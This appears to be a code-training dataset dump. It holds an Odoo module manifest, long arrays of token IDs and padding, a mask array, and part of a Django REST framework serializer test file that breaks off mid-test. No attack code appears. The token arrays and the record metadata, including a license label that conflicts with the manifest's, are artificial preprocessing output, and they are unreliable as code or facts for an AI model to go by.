# -*- coding: utf-8 -*- # Copyright (c) 2014 Serv. Tecnol. Avanzados (http://www.serviciosbaeza.com) # Pedro M. Baeza <pedro.baeza@serviciosbaeza.com> # Copyright (c) 2015 Antiun Ingeniería S.L. (http://www.antiun.com) # Antonio Espinosa <antonioea@antiun.com> # © 2015 Antiun Ingeniería S.L. - Jairo Llopis # License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html). { "name": "Partner job position", "summary": "Categorize job positions for contacts", "version": "8.0.1.0.0", 'category': 'Customer Relationship Management', "website": "http://www.antiun.com", 'author': 'Serv. Tecnolog. Avanzados - Pedro M. Baeza, ' 'Antiun Ingeniería S.L., ' "Odoo Community Association (OCA)", "license": "AGPL-3", "application": False, "installable": True, "depends": [ "base", ], "data": [ 'security/ir.model.access.csv', 'views/res_partner_job_position_view.xml', 'views/res_partner_view.xml', ], }
lgpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 259, 1898, 334, 67, 9, 6927, 3739, 86, 14, 377, 825, 78, 393, 14, 16599, 290, 90, 20257, 334, 1014, 921, 1544, 14, 332, 433, 559, 736, 28363, 8076, 14, 957, 9, 199, 3, 9668, 510, 379, 293, 603, 14, 699, 3624, 8076, 665, 1915, 293, 14, 28363, 8076, 32, 332, 433, 559, 736, 28363, 8076, 14, 957, 30, 199, 3, 259, 1898, 334, 67, 9, 6900, 1626, 280, 324, 1010, 2268, 4446, 13676, 65, 428, 14, 44, 14, 334, 1014, 921, 1544, 14, 4466, 324, 14, 957, 9, 199, 3, 9668, 437, 343, 265, 2308, 662, 14809, 29295, 665, 867, 265, 2308, 4489, 32, 4466, 324, 14, 957, 30, 199, 3, 22405, 103, 6900, 1626, 280, 324, 1010, 2268, 4446, 13676, 65, 428, 14, 44, 14, 446, 1603, 5789, 293, 491, 18630, 374, 199, 3, 844, 437, 12006, 13, 19, 14, 16, 503, 2945, 334, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 643, 1168, 14, 1360, 680, 199, 199, 91, 272, 298, 354, 582, 298, 24120, 3906, 3421, 401, 272, 298, 4705, 582, 298, 16086, 269, 794, 3906, 12266, 367, 27989, 401, 272, 298, 1023, 582, 298, 24, 14, 16, 14, 17, 14, 16, 14, 16, 401, 272, 283, 3710, 356, 283, 17025, 23230, 3319, 8259, 297, 272, 298, 7360, 582, 298, 1014, 921, 1544, 14, 4466, 324, 14, 957, 401, 272, 283, 2502, 356, 283, 1505, 86, 14, 377, 825, 889, 793, 14, 16599, 290, 90, 20257, 446, 510, 379, 293, 603, 14, 699, 3624, 8076, 12, 283, 1598, 283, 32522, 324, 1010, 2268, 4446, 13676, 65, 428, 14, 44, 2020, 283, 1598, 298, 47, 16766, 7046, 6639, 24207, 425, 334, 47, 3263, 4186, 272, 298, 1682, 582, 298, 1254, 2749, 13, 19, 401, 272, 298, 3578, 582, 756, 12, 272, 298, 21762, 582, 715, 12, 272, 298, 8912, 582, 359, 267, 298, 1095, 401, 272, 2156, 272, 298, 576, 582, 359, 267, 283, 4416, 15, 723, 14, 1238, 14, 2732, 14, 4737, 297, 267, 283, 4196, 15, 470, 63, 3899, 63, 2423, 63, 3124, 63, 1345, 14, 1652, 297, 267, 283, 4196, 15, 470, 63, 3899, 63, 1345, 14, 1652, 297, 272, 2156, 199, 93, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 259, 1898, 334, 67, 9, 6927, 3739, 86, 14, 377, 825, 78, 393, 14, 16599, 290, 90, 20257, 334, 1014, 921, 1544, 14, 332, 433, 559, 736, 28363, 8076, 14, 957, 9, 199, 3, 9668, 510, 379, 293, 603, 14, 699, 3624, 8076, 665, 1915, 293, 14, 28363, 8076, 32, 332, 433, 559, 736, 28363, 8076, 14, 957, 30, 199, 3, 259, 1898, 334, 67, 9, 6900, 1626, 280, 324, 1010, 2268, 4446, 13676, 65, 428, 14, 44, 14, 334, 1014, 921, 1544, 14, 4466, 324, 14, 957, 9, 199, 3, 9668, 437, 343, 265, 2308, 662, 14809, 29295, 665, 867, 265, 2308, 4489, 32, 4466, 324, 14, 957, 30, 199, 3, 22405, 103, 6900, 1626, 280, 324, 1010, 2268, 4446, 13676, 65, 428, 14, 44, 14, 446, 1603, 5789, 293, 491, 18630, 374, 199, 3, 844, 437, 12006, 13, 19, 14, 16, 503, 2945, 334, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 643, 1168, 14, 1360, 680, 199, 199, 91, 272, 298, 354, 582, 298, 24120, 3906, 3421, 401, 272, 298, 4705, 582, 298, 16086, 269, 794, 3906, 12266, 367, 27989, 401, 272, 298, 1023, 582, 298, 24, 14, 16, 14, 17, 14, 16, 14, 16, 401, 272, 283, 3710, 356, 283, 17025, 23230, 3319, 8259, 297, 272, 298, 7360, 582, 298, 1014, 921, 1544, 14, 4466, 324, 14, 957, 401, 272, 283, 2502, 356, 283, 1505, 86, 14, 377, 825, 889, 793, 14, 16599, 290, 90, 20257, 446, 510, 379, 293, 603, 14, 699, 3624, 8076, 12, 283, 1598, 283, 32522, 324, 1010, 2268, 4446, 13676, 65, 428, 14, 44, 2020, 283, 1598, 298, 47, 16766, 7046, 6639, 24207, 425, 334, 47, 3263, 4186, 272, 298, 1682, 582, 298, 1254, 2749, 13, 19, 401, 272, 298, 3578, 582, 756, 12, 272, 298, 21762, 582, 715, 12, 272, 298, 8912, 582, 359, 267, 298, 1095, 401, 272, 2156, 272, 298, 576, 582, 359, 267, 283, 4416, 15, 723, 14, 1238, 14, 2732, 14, 4737, 297, 267, 283, 4196, 15, 470, 63, 3899, 63, 2423, 63, 3124, 63, 1345, 14, 1652, 297, 267, 283, 4196, 15, 470, 63, 3899, 63, 1345, 14, 1652, 297, 272, 2156, 199, 93, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
linovia/django-rest-framework
tests/test_model_serializer.py
1
43162
""" The `ModelSerializer` and `HyperlinkedModelSerializer` classes are essentially shortcuts for automatically creating serializers based on a given model class. These tests deal with ensuring that we correctly map the model fields onto an appropriate set of serializer fields for each case. """ from __future__ import unicode_literals import decimal from collections import OrderedDict import pytest from django.core.exceptions import ImproperlyConfigured from django.core.validators import ( MaxValueValidator, MinLengthValidator, MinValueValidator ) from django.db import models from django.db.models import DurationField as ModelDurationField from django.test import TestCase from django.utils import six from rest_framework import serializers from rest_framework.compat import set_many, unicode_repr def dedent(blocktext): return '\n'.join([line[12:] for line in blocktext.splitlines()[1:-1]]) # Tests for regular field mappings. # --------------------------------- class CustomField(models.Field): """ A custom model field simply for testing purposes. """ pass class OneFieldModel(models.Model): char_field = models.CharField(max_length=100) class RegularFieldsModel(models.Model): """ A model class for testing regular flat fields. """ auto_field = models.AutoField(primary_key=True) big_integer_field = models.BigIntegerField() boolean_field = models.BooleanField(default=False) char_field = models.CharField(max_length=100) comma_separated_integer_field = models.CommaSeparatedIntegerField(max_length=100) date_field = models.DateField() datetime_field = models.DateTimeField() decimal_field = models.DecimalField(max_digits=3, decimal_places=1) email_field = models.EmailField(max_length=100) float_field = models.FloatField() integer_field = models.IntegerField() null_boolean_field = models.NullBooleanField() positive_integer_field = models.PositiveIntegerField() positive_small_integer_field = models.PositiveSmallIntegerField() slug_field = models.SlugField(max_length=100) small_integer_field = models.SmallIntegerField() text_field = models.TextField(max_length=100) time_field = models.TimeField() url_field = models.URLField(max_length=100) custom_field = CustomField() file_path_field = models.FilePathField(path='/tmp/') def method(self): return 'method' COLOR_CHOICES = (('red', 'Red'), ('blue', 'Blue'), ('green', 'Green')) DECIMAL_CHOICES = (('low', decimal.Decimal('0.1')), ('medium', decimal.Decimal('0.5')), ('high', decimal.Decimal('0.9'))) class FieldOptionsModel(models.Model): value_limit_field = models.IntegerField(validators=[MinValueValidator(1), MaxValueValidator(10)]) length_limit_field = models.CharField(validators=[MinLengthValidator(3)], max_length=12) blank_field = models.CharField(blank=True, max_length=10) null_field = models.IntegerField(null=True) default_field = models.IntegerField(default=0) descriptive_field = models.IntegerField(help_text='Some help text', verbose_name='A label') choices_field = models.CharField(max_length=100, choices=COLOR_CHOICES) class ChoicesModel(models.Model): choices_field_with_nonstandard_args = models.DecimalField(max_digits=3, decimal_places=1, choices=DECIMAL_CHOICES, verbose_name='A label') class Issue3674ParentModel(models.Model): title = models.CharField(max_length=64) class Issue3674ChildModel(models.Model): parent = models.ForeignKey(Issue3674ParentModel, related_name='children', on_delete=models.CASCADE) value = models.CharField(primary_key=True, max_length=64) class UniqueChoiceModel(models.Model): CHOICES = ( ('choice1', 'choice 1'), ('choice2', 'choice 1'), ) name = models.CharField(max_length=254, unique=True, choices=CHOICES) class TestModelSerializer(TestCase): def test_create_method(self): class TestSerializer(serializers.ModelSerializer): non_model_field = serializers.CharField() class Meta: model = OneFieldModel fields = ('char_field', 'non_model_field') serializer = TestSerializer(data={ 'char_field': 'foo', 'non_model_field': 'bar', }) serializer.is_valid() with self.assertRaises(TypeError) as excinfo: serializer.save() msginitial = 'Got a `TypeError` when calling `OneFieldModel.objects.create()`.' assert str(excinfo.exception).startswith(msginitial) def test_abstract_model(self): """ Test that trying to use ModelSerializer with Abstract Models throws a ValueError exception. """ class AbstractModel(models.Model): afield = models.CharField(max_length=255) class Meta: abstract = True class TestSerializer(serializers.ModelSerializer): class Meta: model = AbstractModel fields = ('afield',) serializer = TestSerializer(data={ 'afield': 'foo', }) with self.assertRaises(ValueError) as excinfo: serializer.is_valid() msginitial = 'Cannot use ModelSerializer with Abstract Models.' assert str(excinfo.exception).startswith(msginitial) class TestRegularFieldMappings(TestCase): def test_regular_fields(self): """ Model fields should map to their equivalent serializer fields. """ class TestSerializer(serializers.ModelSerializer): class Meta: model = RegularFieldsModel fields = '__all__' expected = dedent(""" TestSerializer(): auto_field = IntegerField(read_only=True) big_integer_field = IntegerField() boolean_field = BooleanField(required=False) char_field = CharField(max_length=100) comma_separated_integer_field = CharField(max_length=100, validators=[<django.core.validators.RegexValidator object>]) date_field = DateField() datetime_field = DateTimeField() decimal_field = DecimalField(decimal_places=1, max_digits=3) email_field = EmailField(max_length=100) float_field = FloatField() integer_field = IntegerField() null_boolean_field = NullBooleanField(required=False) positive_integer_field = IntegerField() positive_small_integer_field = IntegerField() slug_field = SlugField(max_length=100) small_integer_field = IntegerField() text_field = CharField(max_length=100, style={'base_template': 'textarea.html'}) time_field = TimeField() url_field = URLField(max_length=100) custom_field = ModelField(model_field=<tests.test_model_serializer.CustomField: custom_field>) file_path_field = FilePathField(path='/tmp/') """) self.assertEqual(unicode_repr(TestSerializer()), expected) def test_field_options(self): class TestSerializer(serializers.ModelSerializer): class Meta: model = FieldOptionsModel fields = '__all__' expected = dedent(""" TestSerializer(): id = IntegerField(label='ID', read_only=True) value_limit_field = IntegerField(max_value=10, min_value=1) length_limit_field = CharField(max_length=12, min_length=3) blank_field = CharField(allow_blank=True, max_length=10, required=False) null_field = IntegerField(allow_null=True, required=False) default_field = IntegerField(required=False) descriptive_field = IntegerField(help_text='Some help text', label='A label') choices_field = ChoiceField(choices=(('red', 'Red'), ('blue', 'Blue'), ('green', 'Green'))) """) if six.PY2: # This particular case is too awkward to resolve fully across # both py2 and py3. expected = expected.replace( "('red', 'Red'), ('blue', 'Blue'), ('green', 'Green')", "(u'red', u'Red'), (u'blue', u'Blue'), (u'green', u'Green')" ) self.assertEqual(unicode_repr(TestSerializer()), expected) def test_method_field(self): """ Properties and methods on the model should be allowed as `Meta.fields` values, and should map to `ReadOnlyField`. """ class TestSerializer(serializers.ModelSerializer): class Meta: model = RegularFieldsModel fields = ('auto_field', 'method') expected = dedent(""" TestSerializer(): auto_field = IntegerField(read_only=True) method = ReadOnlyField() """) self.assertEqual(repr(TestSerializer()), expected) def test_pk_fields(self): """ Both `pk` and the actual primary key name are valid in `Meta.fields`. """ class TestSerializer(serializers.ModelSerializer): class Meta: model = RegularFieldsModel fields = ('pk', 'auto_field') expected = dedent(""" TestSerializer(): pk = IntegerField(label='Auto field', read_only=True) auto_field = IntegerField(read_only=True) """) self.assertEqual(repr(TestSerializer()), expected) def test_extra_field_kwargs(self): """ Ensure `extra_kwargs` are passed to generated fields. """ class TestSerializer(serializers.ModelSerializer): class Meta: model = RegularFieldsModel fields = ('auto_field', 'char_field') extra_kwargs = {'char_field': {'default': 'extra'}} expected = dedent(""" TestSerializer(): auto_field = IntegerField(read_only=True) char_field = CharField(default='extra', max_length=100) """) self.assertEqual(repr(TestSerializer()), expected) def test_extra_field_kwargs_required(self): """ Ensure `extra_kwargs` are passed to generated fields. """ class TestSerializer(serializers.ModelSerializer): class Meta: model = RegularFieldsModel fields = ('auto_field', 'char_field') extra_kwargs = {'auto_field': {'required': False, 'read_only': False}} expected = dedent(""" TestSerializer(): auto_field = IntegerField(read_only=False, required=False) char_field = CharField(max_length=100) """) self.assertEqual(repr(TestSerializer()), expected) def test_invalid_field(self): """ Field names that do not map to a model field or relationship should raise a configuration errror. """ class TestSerializer(serializers.ModelSerializer): class Meta: model = RegularFieldsModel fields = ('auto_field', 'invalid') with self.assertRaises(ImproperlyConfigured) as excinfo: TestSerializer().fields expected = 'Field name `invalid` is not valid for model `RegularFieldsModel`.' assert str(excinfo.exception) == expected def test_missing_field(self): """ Fields that have been declared on the serializer class must be included in the `Meta.fields` if it exists. """ class TestSerializer(serializers.ModelSerializer): missing = serializers.ReadOnlyField() class Meta: model = RegularFieldsModel fields = ('auto_field',) with self.assertRaises(AssertionError) as excinfo: TestSerializer().fields expected = ( "The field 'missing' was declared on serializer TestSerializer, " "but has not been included in the 'fields' option." ) assert str(excinfo.exception) == expected def test_missing_superclass_field(self): """ Fields that have been declared on a parent of the serializer class may be excluded from the `Meta.fields` option. """ class TestSerializer(serializers.ModelSerializer): missing = serializers.ReadOnlyField() class Meta: model = RegularFieldsModel fields = '__all__' class ChildSerializer(TestSerializer): missing = serializers.ReadOnlyField() class Meta: model = RegularFieldsModel fields = ('auto_field',) ChildSerializer().fields def test_choices_with_nonstandard_args(self): class ExampleSerializer(serializers.ModelSerializer): class Meta: model = ChoicesModel fields = '__all__' ExampleSerializer() def test_fields_and_exclude_behavior(self): class ImplicitFieldsSerializer(serializers.ModelSerializer): class Meta: model = RegularFieldsModel fields = '__all__' class ExplicitFieldsSerializer(serializers.ModelSerializer): class Meta: model = RegularFieldsModel fields = '__all__' implicit = ImplicitFieldsSerializer() explicit = ExplicitFieldsSerializer() assert implicit.data == explicit.data class TestDurationFieldMapping(TestCase): def test_duration_field(self): class DurationFieldModel(models.Model): """ A model that defines DurationField. """ duration_field = ModelDurationField() class TestSerializer(serializers.ModelSerializer): class Meta: model = DurationFieldModel fields = '__all__' expected = dedent(""" TestSerializer(): id = IntegerField(label='ID', read_only=True) duration_field = DurationField() """) self.assertEqual(unicode_repr(TestSerializer()), expected) class TestGenericIPAddressFieldValidation(TestCase): def test_ip_address_validation(self): class IPAddressFieldModel(models.Model): address = models.GenericIPAddressField() class TestSerializer(serializers.ModelSerializer): class Meta: model = IPAddressFieldModel fields = '__all__' s = TestSerializer(data={'address': 'not an ip address'}) self.assertFalse(s.is_valid()) self.assertEqual(1, len(s.errors['address']), 'Unexpected number of validation errors: ' '{0}'.format(s.errors)) # Tests for relational field mappings. # ------------------------------------ class ForeignKeyTargetModel(models.Model): name = models.CharField(max_length=100) class ManyToManyTargetModel(models.Model): name = models.CharField(max_length=100) class OneToOneTargetModel(models.Model): name = models.CharField(max_length=100) class ThroughTargetModel(models.Model): name = models.CharField(max_length=100) class Supplementary(models.Model): extra = models.IntegerField() forwards = models.ForeignKey('ThroughTargetModel', on_delete=models.CASCADE) backwards = models.ForeignKey('RelationalModel', on_delete=models.CASCADE) class RelationalModel(models.Model): foreign_key = models.ForeignKey(ForeignKeyTargetModel, related_name='reverse_foreign_key', on_delete=models.CASCADE) many_to_many = models.ManyToManyField(ManyToManyTargetModel, related_name='reverse_many_to_many') one_to_one = models.OneToOneField(OneToOneTargetModel, related_name='reverse_one_to_one', on_delete=models.CASCADE) through = models.ManyToManyField(ThroughTargetModel, through=Supplementary, related_name='reverse_through') class UniqueTogetherModel(models.Model): foreign_key = models.ForeignKey(ForeignKeyTargetModel, related_name='unique_foreign_key', on_delete=models.CASCADE) one_to_one = models.OneToOneField(OneToOneTargetModel, related_name='unique_one_to_one', on_delete=models.CASCADE) class Meta: unique_together = ("foreign_key", "one_to_one") class TestRelationalFieldMappings(TestCase): def test_pk_relations(self): class TestSerializer(serializers.ModelSerializer): class Meta: model = RelationalModel fields = '__all__' expected = dedent(""" TestSerializer(): id = IntegerField(label='ID', read_only=True) foreign_key = PrimaryKeyRelatedField(queryset=ForeignKeyTargetModel.objects.all()) one_to_one = PrimaryKeyRelatedField(queryset=OneToOneTargetModel.objects.all(), validators=[<UniqueValidator(queryset=RelationalModel.objects.all())>]) many_to_many = PrimaryKeyRelatedField(allow_empty=False, many=True, queryset=ManyToManyTargetModel.objects.all()) through = PrimaryKeyRelatedField(many=True, read_only=True) """) self.assertEqual(unicode_repr(TestSerializer()), expected) def test_nested_relations(self): class TestSerializer(serializers.ModelSerializer): class Meta: model = RelationalModel depth = 1 fields = '__all__' expected = dedent(""" TestSerializer(): id = IntegerField(label='ID', read_only=True) foreign_key = NestedSerializer(read_only=True): id = IntegerField(label='ID', read_only=True) name = CharField(max_length=100) one_to_one = NestedSerializer(read_only=True): id = IntegerField(label='ID', 